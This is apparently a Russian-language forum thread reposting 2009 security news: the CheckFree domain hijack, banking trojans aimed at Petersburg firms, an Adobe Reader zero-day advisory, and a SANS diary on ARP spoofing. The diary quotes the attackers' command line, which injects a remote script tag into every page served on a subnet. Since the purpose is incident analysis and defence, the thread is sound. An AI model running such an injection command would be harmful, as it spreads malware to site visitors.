Новости о шпионских программах (и другом Malware)

[Vinni]

:smile3:

 

_ttp://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=security&articleId=9125078

January 6, 2009 (IDG News Service) CheckFree Corp. and some of the banks that use its electronic bill payment service are notifying more than 5 million customers that criminals took control of several of the company's Internet domains and redirected customer traffic to a malicious Web site hosted in the Ukraine.

 

"The 5 million people who were notified about the CheckFree redirection were a combination of two groups," said Melanie Tolley, vice president of communications at CheckFree's parent company, Fiserv Inc., in a statement. "1.) those who we were able to identify who had attempted to pay bills from our client's bill pay sites and minus those who actually completed sessions on our site, and 2.) anyone enrolled in mycheckfree.com."

 

Tolley wouldn't say what banks were affected by the hack, but the majority of these 5 million customers were CheckFree's own users, she said. In total, about 42 million customers access CheckFree's bill payment site, she said.

 

Customers who went to CheckFree's Web sites between 12:35 a.m. and 10:10 a.m. on the day of the attack were redirected to a Ukrainian Web server that used malicious software to try and install a password-stealing program on the victim's computer.

 

The criminals were able to take control of several CheckFree Web domains after logging into the company's Internet domain registrar, Network Solutions, and changing the CheckFree DNS settings. This same technique was used by hackers one year ago to take control of Comcast's Web site. It is not clear how the attackers were able to get CheckFree's Network Solutions password, but some security experts believe that CheckFree may have fallen prey to a phishing attack.

 

Looking at typical Web site traffic patterns, Fiserv guesses that about 160,000 consumers were exposed to the Ukrainian attack site, but not all of these customers would have been infected. For the attack to work, the victim would have to be a PC user without antivirus software who was also using an out-of-date version of Adobe Acrobat. Because of these conditions, Fiserv believes that "a very small number" of people were affected, Tolley said.

 

However, because the company lost control of its Web domains, it doesn't know exactly who was hit. And so it must warn a much larger number of customers.

 

[Vinni]

не знал куда писать - сюда или в юмор :smile12: :smile12: :smile12:

_ttp://www.fontanka.ru/2009/01/30/095/

 

комментарии тоже порадовали...

 

30.01.2009 17:25 / Комментарии (24)

 

Порядка десяти фирм - клиенты разных банков - в Центральном районе Петербурга пострадали от мошенников за два последних месяца. Технически продвинутые злоумышленники взламывали систему «банк-клиент», установленную на компьютере бухгалтера фирмы, и переводили деньги на счета подставных компаний. Несмотря на практически безупречную схему, милиционерам удалось вернуть часть денег потерпевшим.

 

В начале декабря на ОБЭП Центрального района обрушилась волна заявлений от руководства фирм, со счетов которых таинственным образом пропадали крупные суммы денег. Как удалось установить оперативникам, во всех фирмах на компьютере бухгалтера стояла система «банк-клиент». Видимо, в компьютер запускалась программа «Троян», с помощью которой злоумышленники похищали коды доступа и пароли для работы со счетами.

 

- Мошенники точно знали, когда на счете у фирмы появлялась крупная сумма денег, от трех до шести миллионов рублей. После этого кто-то (не исключено, что один из сотрудников фирмы, мотивированный злоумышленниками), через флэшку запускал в локальную сеть «Трояна». Деньги уходили на счета в Москву или другие города и никогда не оседали в Петербурге. Чаще всего такие операции производились вечером в пятницу, когда сотрудники фирмы уходили на выходные. А в понедельник в милицию приходило руководство фирмы, - рассказал «Фонтанке» на условиях анонимности сотрудник ГУВД.

 

За два месяца в Центральном РУВД, по предварительной информации, скопилось уже около десятка таких заявлений. Некоторым пострадавшим, которые оперативно обратились в милицию, сотрудники даже помогли вернуть деньги. В частности, 17 декабря прошлого года в правоохранительные органы обратился руководитель ООО «Гостиница Эспланада», с заявлением о том, что со счета его компании чуть ли не за ночь пропали шесть миллионов рублей, а в компьютере в системе «банк-клиент» осталась липовая платежка. Оперативники быстро связались со службой безопасности банка, через который был проведен «платеж», и передачу денег на счет фирмы заморозили. Примерно так же уже в январе этого года милиционерам удалось остановить на уровне банка «путешествие» денег со счета фирмы ООО «Еврофото» на счет подставной фирмы. Всего мошенники, по заявлениям потерпевших, получили от питерских фирм около 30 миллионов рублей.

 

- Для того чтобы воспользоваться в мошеннических целях «банк-клиентом», нужно обладать исключительными познаниями в информационных технологиях, - прокомментировала «Фонтанке» ситуацию эксперт по финансовому мониторингу Наталья Артеменко. - Дело в том, что данная программа обладает несколькими достаточно серьезными степенями защиты. Так, все операции проводятся про защищенному каналу связи. Для того чтобы получить доступ к этой системе, нужно обладать всеми ключами шифра и уметь обходить цифровые подписи.

 

Теперь для поиска супер-хакеров милиционерам также придется использовать все свои самые высокие технологии.

 

 

[Permdetektiv]

:smile6:

не знал куда писать - сюда или в юмор :smile12: :smile12: :smile12:

_ttp://www.fontanka.ru/2009/01/30/095/

 

комментарии тоже порадовали...

если бы еще "высокие милиционеры" были заинтересованы (да блин, хотя бы не мешали!!!!!!!!!) во внедрении высоких технологий.

(Простите за флуд. Наболело и вырвалось.)

[Vinni]

время отключить поддержку javascript в Adobe Acrobat Reader (Edit -> Preferences -> JavaScript и снять галочку в Enable Acrobat JavaScript) :smile3:

 

_ttp://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20090219

 

Thursday, 19 February 2009

When PDFs Attack - Acrobat [Reader] 0-Day On the Loose

 

 

The Shadowserver Foundation has recently become aware of a very severe vulnerability in Adobe Acrobat affecting versions 8.x and 9 that is currently on the loose in the wild and being actively exploited. We are aware of several different variations of this attack, however, we were provided with a sample last week in which we were permitted to analyze and detail in this post. We want to make it clear that we did not discover this vulnerability and are only posting this information to make sure others are aware and can adequately protect themselves. All of our testing was done on Adobe Acrobat Reader 8.1.0, 8.1.1, 8.1.2, 8.1.3 (latest release of 8), and 9.0.0 (latest release of 9). We have not confirmed via testing that the exploit actually works on Adobe Acrobat (non-Reader) but believe that it will also affect it as well.

 

Right now we believe these files are only being used in a smaller set of targeted attacks. However, these types of attacks are frequently the most damaging and it is only a matter of time before this exploit ends up in every exploit pack on the Internet. As a result we are also not going to provide any specific details on how the exploit works despite the fact that information is known. We know several of the details on the internals thanks to a good friend of mine -- Matt Richard. He took a look at the file for us last week and provided the following:

The malicious PDF's in the wild exploit a vulnerability in a non-JavaScript function call. However, they do use some JavaScript to implement a heap spray for successful code execution. The malicious PDF's in the wild contain JavaScript that is used to fill the heap with shellcode. Since this exploit relies on both JavaScript and non-JavaScript components there are some potential reliability issues which has led to confusion over which platforms are affected.

Testing of the exploit with XP SP3 using Adobe Reader 8.1.1, 8.1.2, 8.1.3 and 9.0.0 shows that the vulnerability results in code execution on all of them. There may be cases where Adobe Reader crashes without code execution, especially on systems with more physical memory and faster processors. This is likely due to the race condition needed to populate the heap before certain data structures are parsed by Reader.

The exploit can be effectively mitigated by disabling JavaScript. In this scenario Adobe will still crash but the required heap spray will not occur and code execution is not possible. There may be a method for populating the heap with the necessary shellcode without JavaScript, however if such a technique exists I am not aware of it. As a general rule I like the idea of both disabling JavaScript in Adobe Reader and also flagging PDF documents containing JavaScript at perimeter devices.

 

In Matt and I's testing, we found that disabling JavaScript would definitely prevent the malware from being installed on the system. However, it would still result in the crash of the application. We would HIGHLY recommend that you DISABLE JAVASCRIPT in your Adobe Acrobat [Reader] products. You have the choice of small loss in functionality and a crash versus your systems being compromised and all your data being stolen. It should be an easy choice.

 

Disabling JavaScript is easy. This is how it can be done in Acrobat Reader:

Click: Edit -> Preferences -> JavaScript and uncheck Enable Acrobat JavaScript

 

We believe Adobe is aware of this issue and actively working to address it. However, we felt it was necessary to release this information to let people know how to mitigate against the attacks as they can be devastating. Right now multiple Antivirus companies detect this threat. We will update this post as we have more information that we can share on this.

 

A special thanks to the kind source that provided the file to us last week for analysis.

 

We have also been informed Trend Micro currently detects this threat as "TROJ_PIDIEF.IN".

 

---

 

It has been pointed out to us that Symantec may have been protecting against this since February 12, 2009. We have not had it confirmed but believe they detect it as Trojan.Pidief.E which has a write-up here.

 

Update

 

Adobe has since issued a public advisory about this issue that has been posted here. They are expecting an update by March 11th, 2009 for Adobe 9 and updates for other version (8 and 7) to follow soon after. We have also received some other feedback and information that may be useful that we will post in the near future.

 

=>Posted February 19, 2009, at 03:03 PM by Steven Adair

[Vinni]

_ttp://isc.sans.org/diary.html?n&storyid=6001

 

Recently I’ve been involved in two incidents which had exactly the same modus operandi. The attackers used ARP spoofing to inject malicious JavaScript into content served off other web sites. The biggest problem with such attacks is that it can be very difficult to analyze them unless you remember to check layer two network traffic. Such attacks are very covert and put in danger all web sites in the same subnet.

 

So, first a short recap about ARP spoofing. ARP spoofing attacks happen on layer two – the Address Resolution Protocol maps IP addresses and MAC addresses, which is what is used to communicate in local subnets. ARP spoofing attacks are nothing new – they have been happening for years already. The basic idea of an ARP spoofing attack is for the attacker to spoof IP address <-> MAC address pair of the default gateway. This allows him to intercept (and, if needed modify) all outgoing traffic from that subnet. The attacker can also spoof the IP address <-> MAC address pair of a local server in which case he could monitor incoming traffic, but in this scenario that was not necessary.

 

The spoofing attack consists of the attacker sending ARP packets containing fake data to the target. In normal conditions the target machine will accept this and ”believe” whatever the attacker is saying.

 

This is exactly what happened in both incidents I was involved in. A server on a local subnet was compromised and the attacker installed ARP spoofing malware (together with keyloggers and other Trojans) on the machine. The ARP spoofing malware poisoned local subnet so the outgoing traffic was tunneled through it. The same malware then inserted malicious JavaScript into every HTML page served by any server on that subnet. You can see how this is fruitful for the attacker – with one compromised server they can effectively attack hundreds of web sites (if it’s a hoster indeed).

 

The ARP spoofing malware they used was relatively common, but still AV detection was miserable with major AV programs missing it (both compromised machines had up to date AV programs installed). In order to start the malware the attackers used a simple BAT script:

 

svchost.exe -idx 0 -ip IP_address -port 80 -insert "<script language=javascript src=http://embedded/images/new.gif></script>" -Interval 1000 -spoofmode 2

 

svchost.exe’s options are self explanatory – it uses the interface 0 (idx) and spoofs the IP address in the ip option. Finally it inserts whatever is in the insert option into every HTML page served.

 

Nice thing for the attacker is that the administrator of an attacked web site will never figure out what’s going on until he checks the ARP cache or monitors network traffic. The ARP cache can be checked with the arp command (arp –a on both Windows and Linux) – one should watch out for weird MAC addresses. It usually pays to check the OID owner because you don’t see Dell routers all that often as shown in the following Wireshark screenshot of ARP poisoning traffic:

 

ARP poisoning

 

There are various ways for defending against ARP spoofing. One can hard code MAC addresses of routers on servers (be careful with this as changes to the default gateway will stop your machines from talking to the Internet until you modify the hard coded address). I would recommend installation of Arpwatch, a nice and simple tool that monitors ARP traffic and alerts on attacks. Finally, Cisco (and others I presume) has features called DHCP Snooping and ARP inspection which can effectively stop ARP poisoning attacks. Sadly, I rarely see these features used, especially in internal network.

 

Regarding other malware I mentioned previously, the AV detection rates were similarly poor (in the mean time they improved). Particularly nasty was the Winlogon Notify hook package which simply ”sniffs” all usernames/passwords of users logging in to the system (so password changes don’t help). This package has been around for ages (the source is public) and I was shocked how simple modifications made it ”invisible” to those AV programs.